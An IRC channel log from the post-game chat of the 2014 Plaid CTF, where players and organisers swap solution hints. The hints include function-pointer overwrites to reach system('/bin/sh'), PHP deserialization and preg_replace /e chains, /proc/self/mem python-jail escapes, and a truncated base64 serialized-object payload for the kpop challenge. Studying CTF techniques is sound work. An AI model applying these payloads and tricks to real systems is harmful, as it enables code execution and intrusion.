21:06 -!- keidii [~niepodam@195.164.49.134] has joined #pctf
21:06 #pctf: < Beched> was there any flag like flag{_0r1g1nally_t1m3_1$_running_0ut_} ??
21:06 #pctf: < geobot> i need to add more during the flag hack all the doors at once and sweaty bodies everywhere aswell
21:06 #pctf: < keidii> .
21:06 #pctf: <+cai_> >.>
21:06 #pctf: < zoku> ah, was I almost there mserrano?
21:07 #pctf: < [CISSP]HoLyVieR> upb: The string is reversed before being hashed
21:07 #pctf: <@mserrano> zoku: yes
21:07 #pctf: < robbje> sven: how? i didn't get it after 10h
21:07 #pctf: < wtbw> Ymgve: not a generic break though!
21:07 #pctf: < dkohlbre> where was the write/overflow in kappa? I had like 3 crash bugs and some arbitrary reads... but no writes
21:07 #pctf:  * wtbw idealist
21:07 #pctf: <+dickoff> tomcr00se: paris was Frisk0's
21:07 #pctf: < whois> mserrano // bigson binary has corruption vuln?
21:07 #pctf: <@mserrano> tomcr00se: paris isn't mine - I did test it though
21:07 #pctf: < zoku> what system is it running on mserrano?
21:07 #pctf: < iago-x86> When I saw it was hash extension, I considered adding a bug to hash_extender ;)
21:07 #pctf: < jix> using a SAT solver also worked fine to recover the private key for a given graph pubkey
21:07 #pctf: <+ricky> dickoff: kappa was type confusion (dickoff wrote it)
21:07 #pctf: < zoku> really curious why it's not working
21:07 #pctf: < iago-x86> I'm curious how many downloads I got this weekend
21:07 #pctf: < keidii> anyone can spoil details on bbos ?
21:07 #pctf: < wtbw> Paris was nice
21:07 #pctf: < Ymgve> wtbw: yeah, I thought about if there was a generic solution but too busy to follow it up
21:07 #pctf: < [CISSP]HoLyVieR> upb: and b:1; ... garbage .... b;0 deserialize give "true"
21:07 #pctf: <+ricky> dickoff: Sorry, that as for dkohlbre
21:07 #pctf: < lavish> iago-x86: lol
21:07 #pctf: < upb> [CISSP]HoLyVieR: oh hmm
21:07 #pctf: <@mserrano> zoku: 64-bit debian ami, using the i386 libraries from multiarch
21:07 #pctf: < Ymgve> is there a way to solve rendezvous without recompiling Tor?
21:07 #pctf: < rray> so.. whatscat, what was the solution?
21:07 #pctf: < Frisk0> I'm glad you liked Paris :)
21:07 #pctf: < dkohlbre> ricky: yeah, i just wasn't finding any writes I could control, ah well
21:07 -!- mode/#pctf [+v Frisk0] by mserrano
21:07 -!- Apple_Eater [~Apple_Eat@mail.appleeater.com] has left #pctf []
21:07 -!- D3AdCa7 [d220a27e@gateway/web/freenode/ip.210.32.162.126] has joined #pctf
21:07 #pctf: < tomcr00se> rray: sqli in username, or probably dns magic
21:08 #pctf: < AnthraX101> Serialize all the things!
21:08 #pctf: < choppers> dkohlbre: write to the art, overwrite the inspect() pointer to be system()
21:08 -!- oceanx_ [~oceanx@131.175.28.197] has joined #pctf
21:08 #pctf: < wtbw> Paris is the sort of thing that makes me want to code better analysis tools
21:08 #pctf: <+dickoff> dkohlbre: fill up your pokemon with kakuna, go catch a charizard, the art struct will now overflow the function pointer.
21:08 #pctf: < iago-x86> Finding system() was the hard part
21:08 #pctf: < zoku> ah, thanks mserrano
21:08 -!- blagh [~blagh@ncpatel.res.wpi.net] has joined #pctf
21:08 #pctf: < iago-x86> Well, not really
21:08 #pctf: < dkohlbre> choppers: goddammit im an idiot, I did that
21:08 #pctf: < oceanx_> damn I just solved nightmares :<
21:08 #pctf: < iago-x86> I just sucked. :)
21:08 #pctf: < D3AdCa7> how to solve web800 stage1.....
21:08 #pctf: < wtbw> because I'm sure it could e done much faster
21:08 #pctf: < wtbw> *be
21:08 #pctf: <+awesie> btw, i will post a blog post about the website issues and how we resolved them at some point
21:08 #pctf: < dkohlbre> choppers: literally did that and forgot it gets run
21:08 #pctf: < KT> what was the solution of "parlor"?
21:08 #pctf: < abuss> tomcr00se, dns magic?
21:08 -!- shabgrd [~mostafa@188.158.102.68] has joined #pctf
21:08 #pctf: <@mserrano> did anyone like tiffany?
21:08 -!- shabgrd [~mostafa@unaffiliated/shabgard] has joined #pctf
21:08 #pctf: <@mserrano> tiffany was my favorite
21:08 #pctf: < iago-x86> awesie: That's awesome! Make sure you cc: shmoocon :)
21:08 #pctf: < choppers> dkohlbre: if you name your pokemon /bin/sh you get system("/bin/sh")
21:08 #pctf: < [CISSP]HoLyVieR> tomcr00se: What SQLi did you use for WhatApp, the only table I could leak with 64 caracters was comments ?
21:08 #pctf: < tomcr00se> awesie: harry_potter after you have rop?
21:08 #pctf: < keidii> anyone solve BBOS here ??
21:08 #pctf: < Ymgve> KT: server lies, nonce is used repeatedly, so hash extension
21:08 #pctf: <+tylerni7> <3 awesie and cai_ for making the site work
21:08 #pctf: < zoku> mserrano: tiffany was fucked
21:08 #pctf: < zoku> mserrano: did you write that too?
21:08 #pctf: <@mserrano> yes
21:09 #pctf: < tomcr00se> [CISSP]HoLyVieR: i guessed (select * from flag) :P
21:09 #pctf: < okami41> mserrano: tiffany was a lot of fun, it took me forever though!
21:09 #pctf: < ryan-c> https://gist.github.com/anonymous/10602398#file-pctf2014-rsa450 < rsa writeup
21:09 #pctf: < [int3]romansoft> <sven> heh, zfs was fun. aDR4eA solved that one in ~10 minutes :D -> wtf!!! How did you find key.xor_encrypted amd xor_key contents? Offsets of them?
21:09 #pctf: < wtbw> mserrano: well I said "what about 'breakfast at tiffany's'?"
21:09 #pctf: < mak`> what was correct solution to zfs?
21:09 #pctf: <+awesie> tomcr00se: you should've been able to just use system(...) to run commands
21:09 #pctf: < ryan-c> tylerni7: ^^^
21:09 -!- bs` [~bs@gateway/tor-sasl/bs/x-48276796] has joined #pctf
21:09 #pctf: < Ymgve> keidii: SHA1 hashes of device password in nvram
21:09 #pctf: < okami41> i kept wanting to set breakpoints
21:09 #pctf: < mak`> without brute?
21:09 #pctf: <@mserrano> I wrote ezhp, tiffany, mtpox, kpop, hudak, moscow, wheee, twenty, mult. is hard
21:09 #pctf: < keidii> Ymgve , och
21:09 #pctf: < spq> hy, thanks for the nice ctf
21:09 #pctf: < [CISSP]HoLyVieR> tomcr00se: oh wow ... :/
21:09 #pctf: < tomcr00se> awesie: but how to find libc?
21:09 #pctf: < dkohlbre> choppers: yeah I had that, godammit I was so tired and looking for a write, somehow ignored I was writing a function pointer that i knew
21:09 #pctf: < upb> grrrrr wtf
21:09 #pctf: < bool101> wow mserrano nice
21:09 #pctf: < dkohlbre> choppers: ah well ty
21:09 #pctf: <+awesie> tomcr00se: you could leak libc address
21:09 #pctf: < tomcr00se> before socket shutdown?
21:09 #pctf: < iago-x86> mserrano: I solvee ezhp, mtpox, and kpop :)
21:09 #pctf: < ryan-c> tomcr00se: did you write an attack for rsa from scratch or use the c poc by the people that wrote that paper?
21:10 #pctf: < tomcr00se> i could either leak libc address OR use libc address
21:10 #pctf: < Ymgve> mserrano: was there some agreement to use city names for VM tasks? :)
21:10 #pctf: < bool101> liked that problem awesie
21:10 #pctf: <+awesie> tomcr00se: don't shutdown the socket, you could get the argument to new() to be -1
21:10 #pctf: < rray> iago-x86: how did you solve kpop? wob was too hard
21:10 #pctf: < tomcr00se> ryan-c: lol poc of course
21:10 #pctf: < zoku> iago-x86: what was your ezhp solution?
21:10 #pctf: <@mserrano> Ymgve: I named both of them :P
21:10 #pctf: < foundation> do you guys know who runs chandler tor node ?
21:10 #pctf: <+awesie> tomcr00se: if you have a string of the form: AAAA...PASSWORD
21:10 #pctf: < Ymgve> paris was nasty
21:10 #pctf: <+houqp_> foundation: yeah
21:10 #pctf: < abuss> How did nightmare work? I did try read/write to /proc/self/mem but it gave me i/o error
21:10 #pctf: <@mserrano> paris was a great problem
21:10 #pctf: < iago-x86> rray: kpop = take advantage of preg_replace()'s /e extension
21:10 #pctf: < foundation> he's gonna be scraching his head over this weekend i guess :)
21:10 -!- eZpl0it [~ezpl0it@lak-73-103.wohnheime.ruhr-uni-bochum.de] has joined #pctf
21:10 #pctf: < tomcr00se> awesie: ahh, i missed that, and new will throw
21:10 #pctf: <+houqp_> foundation: we contacted the operator before hand :)
21:10 #pctf: <+awesie> tomcr00se: yep
21:10 #pctf: < wtbw> I really liked that Paris was "clean", other than SEH usage
21:10 #pctf: < foundation> houqp_: cool
21:10 #pctf: < wtbw> no bs, just complication
21:10 #pctf: <+awesie> w/in 7
21:10 #pctf: < blagh> how did mtpox work? I never managed to pull it off
21:10 #pctf: <+awesie> ugh
21:10 #pctf: < rray> iago-x86: i was trying to exploit that at one point, but i couldn't control what went into preg_replace
21:10 #pctf: < iago-x86> zoku: It was basically owning a linked list, I think?
21:11 #pctf: < rray> i guess i'll wait for the writeup
21:11 #pctf: < spq> abuss: i made it with python bytecode to x86 shellcode
21:11 #pctf: <+houqp_> foundation: they were very happy with that :)
21:11 #pctf: <@mserrano> blagh: hash extension -> sql injection
21:11 #pctf: < ryan-c> tomcr00se: it took a while for me to think to look for a poc, people who write papers rarely release code
21:11 #pctf: < iago-x86> rray: You can control it via deserializing $_COOKIE['lyrics']
21:11 #pctf: < rray> 0_0
21:11 #pctf: < KT> <Ymgve>: but you dont know the highest 28 bits of the hash, so how do you extend it?
21:11 -!- jn__ [bert@bitcoinshell.mooo.com] has joined #pctf
21:11 #pctf: <@mserrano> rray: look up stefan esser's slides on POP chains
21:11 #pctf: < Ymgve> KT: brute force
21:11 #pctf: < ryan-c> anyone else here get parlor?
21:11 #pctf: < rray> ... i did that, but i did it wrong haha
21:11 -!- nofiki [~Adium@207.98.148.16] has joined #pctf
21:11 #pctf: < iago-x86> Haha
21:11 #pctf: < iago-x86> I actually used a whiteboard to draw the object structure
21:11 #pctf: < KT> Ymgve: ok, true, nice :D
21:11 #pctf: < iago-x86> Good times
21:11 #pctf:  * iago-x86 signs off
21:11 #pctf: < Ymgve> KT: do two guesses in sequence then use brute force locally to find the remaining bits
21:11 #pctf: < iago-x86> (metaphorically)
21:11 #pctf: <@mserrano> Tzo2OiJMeXJpY3MiOjI6e3M6OToiACoAbHlyaWNzIjtzOjQ6ImFzZGYiO3M6NzoiACoAc29uZyI7Tzo0OiJTb25nIjo0OntzOjk6IgAqAGxvZ2dlciI7Tzo2OiJMb2dnZXIiOjE6e3M6MTI6IgAqAGxvZ3dyaXRlciI7TzoxNDoiTG9nV3JpdGVyX0ZpbGUiOjI6e3M6MTE6IgAqAGZpbGVuYW1lIjtzOjg6InNvbWVzaGl0IjtzOjk6IgAqAGZvcm1hdCI7TzoxMzoiTG9nRmlsZUZvcm1hdCI6Mjp7czoxMDoiACoAZmlsdGVycyI7YToxOntpOjA7TzoxMjoiT3V0cHV0RmlsdGVyIjoyOntzOjE1OiIAKgBtYXRjaFBhdHRlcm4iO3M6NzoiLyguKikvZSI7czoxNDoiACoAcmVwbGFjZW1lbnQiO3M6MzU6InN5c3RlbSg
21:11 #pctf: < rray> mserrano: i was looking at the article he wrote, in retrospect i was actually quite close :P
21:11 #pctf: < abuss> spq, nice, got a writeup? I tried to build bytecode that would call os.system but I couldn't get import to work
21:12 #pctf: <@mserrano> importing that
21:12 #pctf: <@mserrano> oh shit that got truncated
21:12 #pctf: <@mserrano> oh well
21:12 #pctf: <@mserrano> would get flag
21:12 #pctf: < whois>  who know bbos ?
21:12 #pctf: < deject3d_> where writeups
21:12 #pctf: < foundation> was there an easy way of solving g++ , those c++ templates ?
21:12 #pctf: < abuss> ryan-c, curious how? I spent an hour or so on that but couldn't find any way to predict output
21:12 #pctf: <@mserrano> http://paste2.org/Nn46z87k <- import this on kpop, obtain flag
21:12 #pctf: < zoku> iago-x86: yea, had to overflow one buffer to write to the linked list
21:12 #pctf: < spq> abuss: i'll see
21:12 #pctf: < Ymgve> whois: SHA1 hashes of device password in nvram
21:12 #pctf: < abuss> it wasn't a lcg as far as I could tell
21:12 #pctf: < tomcr00se> foundation: dynamically
21:12 #pctf: < comex> foundation: i tried z3 but it didn't work :p
21:12 #pctf: < ryan-c> abuss: hash length extension attack
21:12 #pctf: < blagh> mserrano: Well, I was going down a completely wrong path
21:12 #pctf: < whois> Ymgve // Thx, !
21:12 #pctf: < abuss> god dammit I really need to figure out how those work
21:12 #pctf: < abuss> haha
21:12 #pctf: < ryan-c> abuss: you can get the last 100 bits of the md5
21:13 #pctf: < yyyyyyy> sooooo..... guys.... anyone solved the almost-feistel cipher?
21:13 #pctf: < ryan-c> abuss: extend it blind
21:13 #pctf: < zardus> great ctf, guys
21:13 -!- Dumpling [~butt@only.real.hackers.use.php.xxx] has joined #pctf
21:13 #pctf: < marcoscars02> ryan-c, awesome write
21:13 #pctf: <@mserrano> yyyyyyy: :)
21:13 #pctf: <+tylerni7> btw, who solved RSA? curious how you did it?
21:13 #pctf: <@mserrano> yyyyyyy: Slide attack
21:13 #pctf: < NK_> never saw a ctftime update as quickly
21:13 #pctf: < NK_> :)
21:13 #pctf: < foundation> tomcr00se: dynamically ?  i tried to mess with recursion depth , to figure out something ...
21:13 #pctf: <+tylerni7> apparently there was code posted :(
21:13 #pctf: < zardus> my favorite was harry potter :-)
21:13 #pctf: < [int3]romansoft> please, offsets of key.xor_encrypted and xor_key (zfs)???
21:13 #pctf: <@mserrano> yyyyyyy: you can reverse a single double-round in <= 4096 iterations
21:13 #pctf: <+tylerni7> I wanted people to solve themselves
21:13 #pctf: < tomcr00se> tylerni7: the code from the paper
21:13 #pctf: < ryan-c> abuss: and brute force the other 28 bits to find something that resulted in a matching second hash
21:13 #pctf: < abuss> tylerni7, kmowery
21:13 #pctf: <+tylerni7> tomcr00se: damn
21:13 #pctf: <@mserrano> yyyyyyy: and then using ~512 plaintexts you can reliably get a slid pair
21:13 #pctf: <+tylerni7> tomcr00se: I didn't know about the code D:
21:13 #pctf: <+tylerni7> someone else linked me to it
21:13 #pctf: < abuss> nice okay
21:13 #pctf: < ryan-c> marcoscars02: It's a quick shitty writeup, lol will make a better one later
21:13 #pctf: < tomcr00se> tylerni7: wait you really wrote that attack?
21:13 #pctf: < fuzyll> tylerni7: tomcr00se: what paper?
21:13 #pctf: <@mserrano> tomcr00se: yeah, he did
21:13 #pctf: <+tylerni7> tomcr00se: yeah I have it in python
21:13 #pctf: <@mserrano> it's pretty cool
21:14 #pctf: < marcoscars02> awesome code ryan-c
21:14 #pctf: < marcoscars02> :O
21:14 #pctf: < sven> i think segher wrote his own code too after reading the paper
21:14 #pctf: < ryan-c> fuzyll: http://cseweb.ucsd.edu/~hovav/papers/hs09.html
21:14 #pctf: < geobot> yeah ucsd revealed themselves
21:14 #pctf: <+tylerni7> sven: :) good
21:14 #pctf: < sven> not sure though :)
21:14 #pctf: <+tylerni7> geobot: yes.. they did
21:14 #pctf: <@mserrano> sven: how did DS get wheee?


[01:17] <yyyyyyy> mserrano, I actually didn't know that attack... :/ thanks for explaining
[01:17] <@mserrano> sven: did you guys actually do the 26**3 requests?
[01:18] <ryan-c> I got part way through writing my own code from the paper too
[01:18] == irctc736 [806f3006@gateway/web/freenode/ip.128.111.48.6] has joined #pctf
[01:18] <abuss> tylerni7, the best part is that our crypto guy didn't see that link
[01:18] <tomcr00se> what was the wheee solution?
[01:18] == bs` [~bs@gateway/tor-sasl/bs/x-48276796] has quit [Remote host closed the connection]
[01:18] <abuss> and spent quite a while writing from scratch
[01:18] <mak`> zfs anyone? ;]
[01:18] <@mserrano> tomcr00se: http://www.theamazingking.com/crypto-slide.php
[01:18] <abuss> and then noticed it after submitting flag :P
[01:18] == Im11Plus1 [~dsa@wsip-72-215-223-131.om.om.cox.net] has quit [Remote host closed the connection]
[01:18] <dkohlbre> tylerni7: the best part is that he IS HOVAV'S GRAD STUDENT
[01:18] <abuss> ^^^^
[01:18] <sven> mserrano: uh.. i know that someone implemented the slide attack, dunno how many requests we sent though
[01:18] == bs` [~bs@gateway/tor-sasl/bs/x-48276796] has joined #pctf
[01:18] <@mserrano> sven: ah cool
[01:18] == deject3d_ [~deject3d@205.204.16.136] has quit [Quit: Computer has gone to sleep.]
[01:18] <@mserrano> someone was gonna do 26**3 blocks
[01:19] <sven> :D
[01:19] <ryan-c> abuss: he wrote a solver from the paper then found the source?
[01:19] <@mserrano> but you can do it in < 512; I got it with 256
[01:19] <+tylerni7> dkohlbre: haha whatt
[01:19] <@mserrano> (aka a single request)
[01:19] <tomcr00se> grr, yea, i figured it was something like this, but i was too tired this morning
[01:19] <whois> whats tor(rendezvous) prob?
[01:19] <+tylerni7> that's geat
[01:19] <sssssssss> how to solve halphow2js?
[01:19] <dkohlbre> tylerni7: yeah, he grabbed the paper, wrote a new impl, and THEN noticed the impl by hovav
[01:19] <@mserrano> dkohlbre: LOL
[01:19] <+tylerni7> dkohlbre: that makes me so happy
[01:19] == Rexperience7 [~Rex@unaffiliated/rexperience7] has left #pctf []
[01:19] <dkohlbre> sooo now we have 2
[01:19] <clockish> :D
[01:19] <+tylerni7> lol
[01:19] <asmoday> HEY whats the next CTF
[01:20] <whois> using chandler router  to connect onion ?
[01:20] <marcoscars02> asmoday, sqli
[01:20] <+tylerni7> asmoday: ctftime.org
[01:20] <marcoscars02> xD
[01:20] <asmoday> so that site is up to date
[01:20] <+tylerni7> yeah
[01:20] <Ymgve> How do you specify a router to use as a rendezvous point?
[01:20] <wtbw> thanks again guys :)
[01:20] <foundation> whois: yes, you had to patch the tor source to make sure it uses chandler as rendezvous point
[01:20] <ryan-c> whois: you have to modify tor in a couple places - first to handle an unencryped list of intro points, then to force using chandler as a rend point, then to include beef in the rend cookie
[01:20] <mathiasbynens> multiplication is hard write-up: https://github.com/ctfs/write-ups/tree/master/plaid-ctf-2014/multiplication-is-hard
[01:20] <ryan-c> Ymgve: you have to modify the tor source code
[01:20] <asmoday> multiplication is hard, oh the memories
[01:20] <foundation> Ymgve: source patching
[01:20] <Ymgve> ryan-c: was afraid of that
[01:20] <whois> oh ,,
[01:21] == wtbw [~wtbw@unaffiliated/wtbw] has quit []
[01:21] <jix> ryan-c: unencrypted list of intro points?
[01:21] <ryan-c> it was a pain in the arse
[01:21] <jix> ryan-c: I didn't have to do that
[01:21] == oceanx_ [~oceanx@131.175.28.197] has quit [Ping timeout: 276 seconds]
[01:21] <pipecork> mathiasbynens: lol
[01:21] <ryan-c> jix: hm
[01:21] <jix> only chandler as rend point and beef as cookie
[01:21] <mathiasbynens> pipecork: the real tough ones :')
[01:21] <jix> but it was painful
[01:21] <mathiasbynens> please add links to your write-ups here https://github.com/ctfs/write-ups/tree/master/plaid-ctf-2014
[01:21] <jix> especially chandler as rend point
[01:21] <abuss> oh my god that jshalp
[01:21] <abuss> 0.0
[01:21] == stach [~cl@168.61.35.66] has left #pctf []
[01:21] <tomcr00se> i loved jshalp
[01:21] <dkohlbre> ok time to go home, ty ppp
[01:22] <sven> freya annoyed me the most. especially 'cause all i did was recompile openssh in the end to make it work :<
[01:22] <+awesie> dkohlbre: thanks for playing :)
[01:22] <sdjakl> re wheeeee, i wrote the slide attack. we used 256 blocks
[01:22] <sdjakl> (for whoever was asking sven)
[01:22] <mathiasbynens> tomcr00se: did you solve it the same way? https://github.com/ctfs/write-ups/tree/master/plaid-ctf-2014/halphow2js#readme
[01:22] <clockish> abuss: do you know how to js
[01:22] <abuss> clockish, so what did mystop do? I spent HOURS trying to reverse and black box it
[01:22] <sven> mserrano: ^--
[01:22] <ryan-c> anyone do a writeup of curlcore?
[01:22] <abuss> clockish, LOLNO
[01:22] <clockish> abuss: i don't either
[01:22] == eZpl0it [~ezpl0it@lak-73-103.wohnheime.ruhr-uni-bochum.de] has quit [Ping timeout: 252 seconds]
[01:22] <abuss> it was like the collatz function
[01:22] <abuss> but with an exception
[01:22] <@mserrano> tomcr00se: anyone else wondering: https://gist.github.com/mserrano/54465a80ffe75739d2ee
[01:22] <abuss> that had an exception
[01:22] <+tylerni7> ryan-c: use something to search for aes key schedule
[01:22] <@mserrano> sven: sdjakl: cool
[01:23] <+tylerni7> then cbc
[01:23] <+tylerni7> :P
[01:23] <ryan-c> tylerni7: goddamnit
[01:23] <ryan-c> really?
[01:23] <clockish> abuss: yeah, exactly. I just modified the collatz function with some shit
[01:23] <ryan-c> I threw aeskeyfind at it first thing
[01:23] <@mserrano> (that gist uses 512 blocks, but you can use 256 and it will work with very high probability)
[01:23] <ryan-c> and got an aes key
[01:23] <geobot> ah, thought it will win 8 to search for aes key schedule
[01:23] <@mserrano> (csol is just a C implementation of the cipher)
[01:23] <+tylerni7> ryan-c: yeah, aeskeyfind may not work, but some tools do
[01:23] <tomcr00se> too tired to even read that :P
[01:23] <marcoscars02> steg writeup?
[01:23] <marcoscars02> :DD
[01:23] <Pitr_> why was the memory layout in curlcores dump different from gnutls_int.h ?
[01:23] <clockish> mathiasbynens: yeah, good write up, that's basically the intended solution :)
[01:24] <sdjakl> a
[01:24] <+tylerni7> marcoscars02: randomize the palette
[01:24] <ryan-c> aeskeyfind gave me 68f946e9c1fd339eec04fc048e651ba7642ee8df2519aaf308ab567f7e4bc231
[01:24] <+tylerni7> then reopen image
[01:24] <+tylerni7> ryan-c: there are 2 keys
[01:24] <ryan-c> next to some asn1 structures
[01:24] <Beched> lol people say that penthackon team cheats like ASSholes asking ppl for hints or flags, pretending they are some poor small team in the bottom of scoreboard. And they post FAKE flags in PM LOL
[01:24] <+tylerni7> one for encrypting, one for decrypting
[01:24] <+tylerni7> (each side of the connection)
[01:24] <_blasty_> LOL Beched
[01:24] <sven> :D
[01:24] <ryan-c> tylerni7: you mean one for server->client and one for client->server?
[01:24] == Valion [~Valion@c-75-70-225-60.hsd1.co.comcast.net] has joined #pctf
[01:24] <rray> thx ppp, it was a cool ctf
[01:24] <Ymgve> I think Beched got burned
[01:24] <+tylerni7> ryan-c: yep
[01:24] <arthurdent> tylerni7: how do you randomize the pallete?
[01:24] <@mserrano> rray: :)
[01:24] <Beched> Ymgve: ??
[01:24] <+tylerni7> arthurdent: open it up in something like 010
[01:25] <abuss> yeah, great problems! can't wait until I can do more than 10% of them :P
[01:25] <tomcr00se> mathiasbynens: sort of, i did "+6"
[01:25] <Beched> tomcr00se: the same with penthackon was at olympic
[01:25] <Adran> marcoscars02: Have you played with StegSolver? :)
[01:25] <marcoscars02> zsteg
[01:25] <marcoscars02> :S
[01:25] == yyyyyyy [~yyyyyyy@91.229.244.121] has left #pctf []
[01:26] == lkwpeter [~florian@studpool-wlan-74-78.fs.fbi.h-da.de] has quit [Ping timeout: 245 seconds]
[01:26] <marcoscars02> and a lot of brain xDD
[01:26] <sdjakl> l/win 18
[01:26] == lkwpeter1 [~florian@studpool-wlan-74-78.fs.fbi.h-da.de] has joined #pctf
[01:26] <keidii> any ZFS solution other than brute ?
[01:26] == D3AdCa7_ [d220a27e@gateway/web/freenode/ip.210.32.162.126] has joined #pctf
[01:26] <+tylerni7> keidii: yes... but it was a pain
[01:26] <ryan-c> for steg, we just dicked around with setting all colors in the pallet except one to black
[01:26] == Valion_ [~Valion@c-75-70-225-60.hsd1.co.comcast.net] has quit [Ping timeout: 245 seconds]
[01:26] <ryan-c> and found an interesting range of pallet entries
[01:26] <inter> tylerni7: do you know who made tenement?
[01:26] <mak`> tylerni7: tell me
[01:26] <keidii> tylerni7 , i droped reading zfs src/doc after few hours
[01:26] <+tylerni7> inter: gbarboza
[01:27] <mak`> i spend a lot h on this
[01:27] == Rexperience7 [~Rex@unaffiliated/rexperience7] has joined #pctf
[01:27] == D3AdCa7 [d220a27e@gateway/web/freenode/ip.210.32.162.126] has quit [Ping timeout: 240 seconds]
[01:27] == someone_ [d1cb4e22@gateway/web/freenode/ip.209.203.78.34] has quit [Ping timeout: 240 seconds]
[01:27] <mak`> and got nothing at the end
[01:27] == dracu [~mata@89.157.34.48] has left #pctf []
[01:27] == sssssssss [5a9c5102@gateway/web/freenode/ip.90.156.81.2] has left #pctf []
[01:27] <Adran> i just randomized the colors and was able to make out all but the 'keep' part originally
[01:27] <pd7> what tool did you use to randomize the colors?
[01:28] <Adran> stegsolve
[01:28] <mak`> how one can find file if there is no data in dnode table?
[01:28] <pd7> thanks
[01:28] <ciliated> how to solve kpop?
[01:28] <mak`> ciliated: unserialize nad preg_replace
[01:28] <Adran> ciliated: http://paste2.org/Nn46z87k
[01:28] <abuss> anyone got a nightmare writeup?
[01:28] <mathiasbynens> clockish: nice! there must be a better way to find input groups for halphow2js rather than trial and error though
[01:28] <abuss> I heard you were supposed to write to /proc/self/mem but I got i/o err
[01:28] <clockish> abuss: write to /proc/self/mem
[01:28] <clockish> oh
[01:29] == erketu [~erketu@5.45.180.209] has quit [Read error: Connection reset by peer]
[01:29] <clockish> you have to write corectly
[01:29] <clockish> like, turn off buffering
[01:29] <abuss> oh hmm
[01:29] == Rinko [3d812a67@gateway/web/cgi-irc/kiwiirc.com/ip.61.129.42.103] has joined #pctf
[01:29] == mibbit_19028 [4a780f96@gateway/web/cgi-irc/kiwiirc.com/ip.74.120.15.150] has joined #pctf
[01:29] <Ymgve> what was the solution to freya?
[01:29] <mibbit_19028> solution to pwn 100?
[01:30] <clockish> mathiasbynens: heh, not really, just once you realize you can do it with small numbers you just play around
[01:30] <robbje> mak`: same here :>
[01:30] <Pitr_> tyler, what did i miss on curlcore?
[01:30] <inter> mserrano
[01:30] <inter> how did i
[01:30] <inter> misread
[01:30] <ryan-c> tylerni7: How's the reading interface on parlor built? Is it basically dependent on the nonce being in a single packet?
[01:30] <inter> 1 with l
[01:30] <mak`> robbje: you did it?
[01:30] <mathiasbynens> clockish: ok cool, thanks for confirming
[01:30] <inter> i still cant believe it
[01:30] <+tylerni7> ryan-c: dude I dunno
[01:30] <+tylerni7> it's just simple python
[01:30] <+tylerni7> I wrote it as simply as possible :P
[01:30] <robbje> mak`: no :(
[01:30] <foundation> Pitr_: what did you do on curlcore ?
[01:30] <mak`> tylerni7:
[01:30] == slipper [~slipper@202.120.36.140] has joined #pctf
[01:30] <Rexperience7> how to solve tenement
[01:30] <@mserrano> inter: :
[01:30] <robbje> i just wasted hours on it
[01:30] <@mserrano> (
[01:30] <ryan-c> tylerni7: You're just doing a socket read?
[01:30] <Pitr_> why was the memory layout in curlcores dump different from gnutls_int.h
[01:30] <robbje> Rexperience7: google egghunter
[01:30] == lkwpeter1 [~florian@studpool-wlan-74-78.fs.fbi.h-da.de] has quit [Ping timeout: 276 seconds]
[01:30] <+tylerni7> ryan-c: yeah
[01:31] <Sin__> Rexperience7, just dump the whole memory and do strings
[01:31] <foundation> i dumped the heap and searched for somethign resembleing the client random , first part you can take from ssl packet
[01:31] <+tylerni7> if it's multiple packets it might get sad (as in it'd just read the first one)
[01:31] <Rexperience7> oh
[01:31] <Rexperience7> EGGHUNTER
[01:31] <[pwn]Idolf> FUCKING HELL
[01:31] <Rexperience7> OHHHHHHH
[01:31] <+dickoff> Streaming question, do people care about the video part of plaidTV or just the music
[01:31] <[pwn]Idolf> We got code exec on the python jail now
[01:31] <[pwn]Idolf> 28 minutes too late
[01:31] <inter> dickoff: you should stream
[01:31] <Pitr_> foundation: i checked the order in the geaderfile
[01:31] <inter> of yo uguys
[01:31] <Sin__> what plaidtv ?
[01:31] <[pwn]Idolf> what was the intended solution?
[01:31] <inter> suffereing from 502 erros
[01:31] <mathiasbynens> [pwn]Idolf: what’s your exploit look like?
[01:31] <ryan-c> tylerni7: yeah, it didn't work when i tried to send stuff through netcat which breaks into packets by line.
[01:31] <mak`> dickoff: both
[01:31] <+ricky> Sin__: It's a video/audio stream dickoff did last year
[01:31] <@mserrano> [pwn]Idolf: use /proc/self/mem to overwrite a function pointer
[01:32] <robbje> mserrano: i think we solved it differently :)
[01:32] <muchacho> mserrano, how do you call "someshit"-file ?
[01:32] <ryan-c> tylerni7: worked when i used python and socket.sent
[01:32] <ryan-c> er
[01:32] <Sin__> like at the defcon quals? that would've been nice
[01:32] <ryan-c> send
[01:32] <+tylerni7> ryan-c: yeah
[01:32] <@mserrano> robbje: did you guys use a code object?
[01:32] <sven> so, i'm curious, how was zfs supposed to be solved?
[01:32] <[pwn]Idolf> mserrano: wtf, can you write using /proc/self/mem?
[01:32] <[pwn]Idolf> We tried that :/
[01:32] <+tylerni7> sven: zfs stuff...
[01:32] <robbje> mserrano: i think so
[01:32] <robbje> the exploit is huge and ugly :>
[01:32] <geobot> its ugly though
[01:32] <abuss> dickoff, did I miss a link to plaidtv?
[01:32] <+tylerni7> sven: frozencemetery and awreece know how
[01:32] <@mserrano> [pwn]Idolf: yeah, you have to set the modes correctly and shit
[01:32] <ryan-c> also fuck debugging endienness issues
[01:32] <abuss> 48 hours ago? :P
[01:33] <@mserrano> robbje: :) that's how clockish did it
[01:33] <+dickoff> abuss: I didn't do it this year
[01:33] <abuss> ah k
[01:33] <[pwn]Idolf> mserrano: ..... open("/proc/self/exe", "w")?
[01:33] == nUl1 [5d9dadb6@gateway/web/freenode/ip.93.157.173.182] has quit [Quit: Page closed]
[01:33] <@mserrano> open("/proc/self/maps", "r+b")
[01:33] <clockish> robbje: you used a code object? <3
[01:33] <@mserrano> you also have to set buffering to zero or something
[01:33] == whois [ZISN2.9@183.91.226.83] has quit [Quit: Http://www.ZeroIRC.NET ¢Æ Zero IRC ¢Æ Ver 2.9]
[01:33] <robbje> clockish: spq did it, yeah
[01:33] <abuss> ahhh
[01:33] <[pwn]Idolf> mserrano: what-the-shit.... that's not at ALL how we solved it :D
[01:33] == DKay [uid11914@gateway/web/irccloud.com/x-pslnfvcgkqlkagfl] has quit [Quit: Connection closed for inactivity]
[01:34] <clockish> [pwn]Idolf: what did you do?
[01:34] <[pwn]Idolf> mserrano: I'm considering sharing the exploit, but that would ruin a CTF-problem I'm designing :P
[01:34] <geobot> priv escalation vulnerabilities ruin it all
[01:34] == Pause [~PauseSave@ip68-98-14-13.ph.ph.cox.net] has joined #pctf
[01:34] <@mserrano> [pwn]Idolf: lol
[01:34] <+tylerni7> [pwn]Idolf: awww
[01:34] <@mserrano> I thought we would finally kill python jails
